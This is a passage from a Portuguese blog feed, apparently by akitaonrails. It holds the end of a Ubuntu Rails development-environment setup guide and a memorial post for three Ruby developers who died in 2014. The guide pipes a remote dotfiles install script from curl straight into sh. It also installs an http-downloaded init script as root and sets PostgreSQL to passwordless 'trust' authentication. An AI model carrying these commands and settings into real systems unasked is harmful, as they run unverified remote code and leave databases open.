export LC_ALL=en_US.UTF-8</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Então execute os seguintes comandos:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo locale-gen en_US.UTF-8
sudo dpkg-reconfigure locales</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Serviços Básicos Importantes<span class="hx:absolute hx:-mt-20" id="serviços-básicos-importantes"></span>
    <a href="#servi%c3%a7os-b%c3%a1sicos-importantes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O que acabamos de instalar é o básico. Mas uma aplicação de verdade precisa de um pouco mais como bancos de dados e outros componentes. A maioria das aplicações Rails utilizar PostgreSQL, MySQL ou Redis (ou uma combinação de alguns deles). Além disso é recomendado aprender a utilizar Memcache.</p>
<p>Lembrando que precisamos instalar tanto os pacotes binários quanto os códigos-fonte/headers para as Rubygems conseguirem compilar suas extensões nativas.</p>
<p>Para começar, o melhor banco de dados relacional que você precisa instalar é o PostgreSQL:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install postgresql postgresql-contrib postgresql-server-dev-9.3</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Como estamos falando de uma máquina de desenvolvimento, vamos criar um superuser:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo su postgres
createuser -P -s -e vagrant</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Você deve editar o arquivo pg_hba.conf com <tt>sudo vim /etc/postgresql/9.3/main/pg_hba.conf</tt> e faça o final dele estar assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Database administrative login by Unix domain socket
local   all             postgres                                trust

# TYPE  DATABASE        USER            ADDRESS                 METHOD

# &#34;local&#34; is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust
# Allow replication connections from localhost, by a user with the
# replication privilege.
#local   replication     postgres                                peer
#host    replication     postgres        127.0.0.1/32            md5
#host    replication     postgres        ::1/128                 md5</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se vai desenvolver Rails eventualmente você vai precisar do Sidekiq ou Resque, e eles precisam do banco de dados Redis, então instale assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install redis-server libhiredis-dev</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Você pode tirar muita vantagem de um bom cache em suas aplicações, então já deixe o Memcache preparado assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install memcached libmemcached-dev</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Muitas aplicações precisam manipular imagens, e para isso você vai precisar do Imagemagick, então instale assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install imagemagick libmagickwand-dev</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Instalando Vim<span class="hx:absolute hx:-mt-20" id="instalando-vim"></span>
    <a href="#instalando-vim" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>E um bom ambiente não estaria completo sem um bom editor de textos para começar a trabalhar. Existem muitas opções como o Sublime Text 2, mas minha preferência pessoal ainda é o Vim. Para quem nunca usou Vim, não deixe de assistir meu screencast <a href="http://akitaonrails.com/2010/07/19/screencast-comecando-com-vim"target="_blank" rel="noopener">Começando com Vim</a> e para a discussão sobre qual melhor editor para você, não deixe de ler meu artigo <a href="http://www.akitaonrails.com/2014/07/31/small-bites-ides-e-editores-como-escolher"target="_blank" rel="noopener">IDEs e Editores, como escolher?</a>. Para instalar neste novo Ubuntu é muito simples:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install zsh vim vim-gnome exuberant-ctags ncurses-term ack-grep
sudo dpkg-divert --local --divert /usr/bin/ack --rename --add /usr/bin/ack-grep

sh -c &#34;`curl -fsSL https://raw.githubusercontent.com/skwp/dotfiles/master/install.sh`&#34;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso vai instalar o excelente conjunto de dotfiles que configura ZSH e Vim pra ficarem perfeitos, o <a href="https://github.com/skwp/dotfiles"target="_blank" rel="noopener">YADR</a>. Pode ser que o ZSH não tenha sido instalado então para garantir faça o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>chsh -s $(which zsh)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Toda vez que quiser atualizar o YADR, faça assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>cd ~/.yadr
git pull --rebase
rake update</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso deve instalar todos os submódulos para tornar seu Vim um editor bastante avançado. Assista ao screencast para aprender mais e visite a página do projeto no Github. Muitas coisas mudaram desde que gravei o screencast, por exemplo, em vez do módulo Command-T agora uso o módulo Ctrl-P, dentre outras mudanças.</p>
<p>Se no meio da execução do comando <tt>git submodule</tt> ele parar por alguma razão, sem terminar, não tem problema apenas reexecute o mesmo comando. A partir do terminal, no diretório do seu projeto, execute <tt>gvim</tt> para iniciar o Vim integrado ao ambiente gráfico Gnome (há quem prefira usar dentro do Terminal, mas isso seria mais preferência pessoal mesmo).</p>
<h2>Finalização do Ambiente<span class="hx:absolute hx:-mt-20" id="finalização-do-ambiente"></span>
    <a href="#finaliza%c3%a7%c3%a3o-do-ambiente" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se ainda não instalou, existem mais algumas ferramentas que você vai precisar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install git git-svn gitk ssh libssh-dev</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Novamente, se não sabe usar Git, assista meu screencast <a href="http://akitaonrails.com/2010/08/17/screencast-comecando-com-git"target="_blank" rel="noopener">Começando com Git</a> pois é absolutamente obrigatório conhecer Git para programar no ecossistema Ruby e Rails.</p>
<h2>Instalando Phusion Passenger<span class="hx:absolute hx:-mt-20" id="instalando-phusion-passenger"></span>
    <a href="#instalando-phusion-passenger" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Com tudo instalado, podemos instalar o último componente: NGINX + Passenger:</p>
<p>Para instalar o Passenger com Nginx faça:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install libcurl4-openssl-dev
gem install passenger
sudo chown -R `whoami` /opt
passenger-install-nginx-module --auto-download --auto</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quando ele terminar de instalar, você lembre-se que no arquivo <tt>/opt/nginx/conf/nginx.conf</tt> haverá o seguinte:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>http {
    ...
    passenger_root /home/akitaonrails/.rvm/gems/ruby-2.2.0/gems/passenger-4.0.58;
    passenger_ruby /home/akitaonrails/.rvm/wrappers/ruby-2.2.2.0/ruby;
    ...
}</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Sempre que atualizar o passenger, atualize este trecho com a versão mais recente. Além disso, para configurar novas aplicações Rails, no mesmo arquivo configure da seguinte forma:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>server {
   listen 80;
   server_name www.yourhost.com;
   root /somewhere/public;   # &lt;--- be sure to point to &#39;public&#39;!
   passenger_enabled on;
}</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Onde <tt>/somewhere</tt> é onde está o código da aplicação Rails, sempre completando com <tt>/public</tt> para o Passenger saber o que fazer.</p>
<p>Na instalação eu trapeceei um pouco: como instalei o RVM em single-mode não dá para instalar o nginx usando o script do Passenger via <tt>sudo</tt>. Por isso mudei o dono do diretório <tt>/opt</tt>. Precisamos mudar de volta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo chown -R root /opt</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora queremos que o NGINX inicie automaticamente sempre que o servidor reiniciar, para isso podemos usar da ajuda do script de inicialização feito pelo Linode:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>wget -O init-deb.sh http://library.linode.com/assets/660-init-deb.sh
sudo mv init-deb.sh /etc/init.d/nginx
sudo chmod &#43;x /etc/init.d/nginx
sudo /usr/sbin/update-rc.d -f nginx defaults</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>obs: dica retirada <a href="http://excid3.com/blog/setting-up-ubuntu-12-04-with-ruby-1-9-3-nginx-passenger-and-postgresql-or-mysql/"target="_blank" rel="noopener">deste blog post</a></p>
<p>Inicie ou pare o NGINX como qualquer outro serviço no Ubuntu:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo service nginx start
sudo service nginx stop
sudo service nginx restart</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Ambiente configurado, bom aprendizado!</p>
]]></content:encoded><category>rails</category><category>ruby</category><category>linux</category></item><item><title>Lembrando os Heróis Ruby que se foram em 2014</title><link>https://akitaonrails.github.io/2015/01/02/lembrando-os-herois-ruby-que-se-foram-em-2014/</link><guid isPermaLink="true">https://akitaonrails.github.io/2015/01/02/lembrando-os-herois-ruby-que-se-foram-em-2014/</guid><pubDate>Fri, 02 Jan 2015 12:48:00 -0200</pubDate><description>&lt;p&gt;Em muitos aspectos o ano de 2014 foi extremamente triste para a comunidade internacional de Ruby e para mim pessoalmente já que conheci os 3 pessoalmente.&lt;/p&gt;
&lt;p&gt;Primeiro foi a perda do venerado &lt;a href="https://news.ycombinator.com/item?id=7270098"target="_blank" rel="noopener"&gt;Jim Weirich&lt;/a&gt;, em 20 de Fevereiro de 2014. Ele foi o autor do projeto Rake. Veja seu &lt;a href="https://github.com/jimweirich"target="_blank" rel="noopener"&gt;Github&lt;/a&gt; para ver no que ele contribuía. E de curiosidade, leia um pouco da &lt;a href="https://github.com/ruby/rake/blob/master/doc/rational.rdoc"target="_blank" rel="noopener"&gt;história do Rake&lt;/a&gt; que está dentro do seu código-fonte. Jim sempre foi uma presença essencial nos eventos de Ruby e Rails e tem diversas palestras excepcionais que &lt;a href="https://www.youtube.com/results?search_query=jim&amp;#43;weirich"target="_blank" rel="noopener"&gt;vale a pena assistir&lt;/a&gt;. Antes de partir, ele era Chief Scientist da consultoria NEO.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Em muitos aspectos o ano de 2014 foi extremamente triste para a comunidade internacional de Ruby e para mim pessoalmente já que conheci os 3 pessoalmente.</p>
<p>Primeiro foi a perda do venerado <a href="https://news.ycombinator.com/item?id=7270098"target="_blank" rel="noopener">Jim Weirich</a>, em 20 de Fevereiro de 2014. Ele foi o autor do projeto Rake. Veja seu <a href="https://github.com/jimweirich"target="_blank" rel="noopener">Github</a> para ver no que ele contribuía. E de curiosidade, leia um pouco da <a href="https://github.com/ruby/rake/blob/master/doc/rational.rdoc"target="_blank" rel="noopener">história do Rake</a> que está dentro do seu código-fonte. Jim sempre foi uma presença essencial nos eventos de Ruby e Rails e tem diversas palestras excepcionais que <a href="https://www.youtube.com/results?search_query=jim&#43;weirich"target="_blank" rel="noopener">vale a pena assistir</a>. Antes de partir, ele era Chief Scientist da consultoria NEO.</p>
<p>Em 30 de Novembro de 2014, foi a vez de <a href="https://news.ycombinator.com/item?id=8676140"target="_blank" rel="noopener">Ezra Zygmuntowicz</a>, ele foi um dos co-fundadores da famosa Engine Yard. Na época em que ele e Tom Mornini dirigiam a empresa, eles tiveram as equipes do JRuby e do Rubinius sob seu patrocínio e tutela. Ezra foi quem pegou o Mongrel de Zed Shaw e explorou o mundo de evented I/O antes de Node.js, com o Evented Mongrel (que depois foi substituído pelo projeto Thin), foi um dos primeiros a explorar e ajudar a popularizar o <a href="https://github.com/redis/redis-rb"target="_blank" rel="noopener">Redis</a>, ele trouxe a tona a idéia de Platform as a Service antes do Heroku, a idéia de infraestrutura como software (antes da onda Devops), trouxe o projeto Merb (que depois viria a ser <a href="http://www.akitaonrails.com/2008/12/23/bomba-merb-e-rails-se-fundem"target="_blank" rel="noopener">incorporado ao Rails 3</a>). Depois disso, ele saiu da Engine Yard e passou um tempo desaparecido em Portland, Oregon. Começou uma startup de impressão 3D (quando impressão 3D estava começando) mas acabou não dando certo. Pouco antes de partir ele estava twitando que iria empreender uma nova idéia. Ezra foi um visionário como poucos que existem hoje, e o mundo vai sentir sua falta. Assista algumas de <a href="https://www.youtube.com/results?search_query=ezra&#43;zygmuntowicz"target="_blank" rel="noopener">suas palestra no YouTube</a>.</p>
<p>Finalmente, em 28 de Dezembro de 2014, perdemos <a href="https://news.ycombinator.com/item?id=8804624"target="_blank" rel="noopener">James Golick</a>, um grande companheiro de outro rubista que talvez seja mais conhecido, <a href="http://gilesbowkett.blogspot.com.br/2014/12/james-golick-rest-in-peace.html"target="_blank" rel="noopener">Joe Damato</a>. Talvez muitos dos rubistas mais novos não tenham ouvido falar dele, mas ele ficou conhecido alguns anos atrás principalmente por causa do projeto <a href="https://github.com/jamesgolick/resource_controller"target="_blank" rel="noopener">Resource Controller</a>, que ele resolveu parar em 2009 por causa de uma alternativa chamada <a href="https://github.com/josevalim/inherited_resources"target="_blank" rel="noopener">Inherited Resources</a> apareceu para substituí-lo. Eu mesmo cheguei a contribuir um pouco nesse projeto na época. Mas ele era um contribuidor open source prolixo, vejam seu <a href="https://github.com/jamesgolick"target="_blank" rel="noopener">Github</a> para ver as últimas coisas em que trabalhou. Eu fiz uma video entrevista com ele na Railsconf 2010 em Baltimore, <a href="http://www.akitaonrails.com/2010/06/17/railsconf-2010-video-entrevistas-parte-1#.VKawMXRHnxg"target="_blank" rel="noopener">assistam aqui</a>.</p>
<p>Todos os 3 eram programadores queridos na comunidade, com reconhecimento pelos seus feitos, e principalmente pelo exemplo de seus bons caráters. Devem ser relembrados nos anais da história desta comunidade e vamos sentir muita falta deles.</p>
<p>Vamos trabalhar em 2015 e adiante para que seus esforços não tenham sido em vão.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/478/10398836_109861054836_3925808_n.jpg" alt="Eu, Vinicius Teles, Carl Youngblood e Jim Weirich"  loading="lazy" /></p>
<p>PS: fiquei particularmente triste com a perda de Ezra porque coisa de algumas semanas antes dele partir, estávamos combinando de trocar idéias, um Hangout que nunca mais vai acontecer:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/479/Screen_Shot_2015-01-02_at_12.46.59.png" alt="Último DM de Ezra"  loading="lazy" /></p>
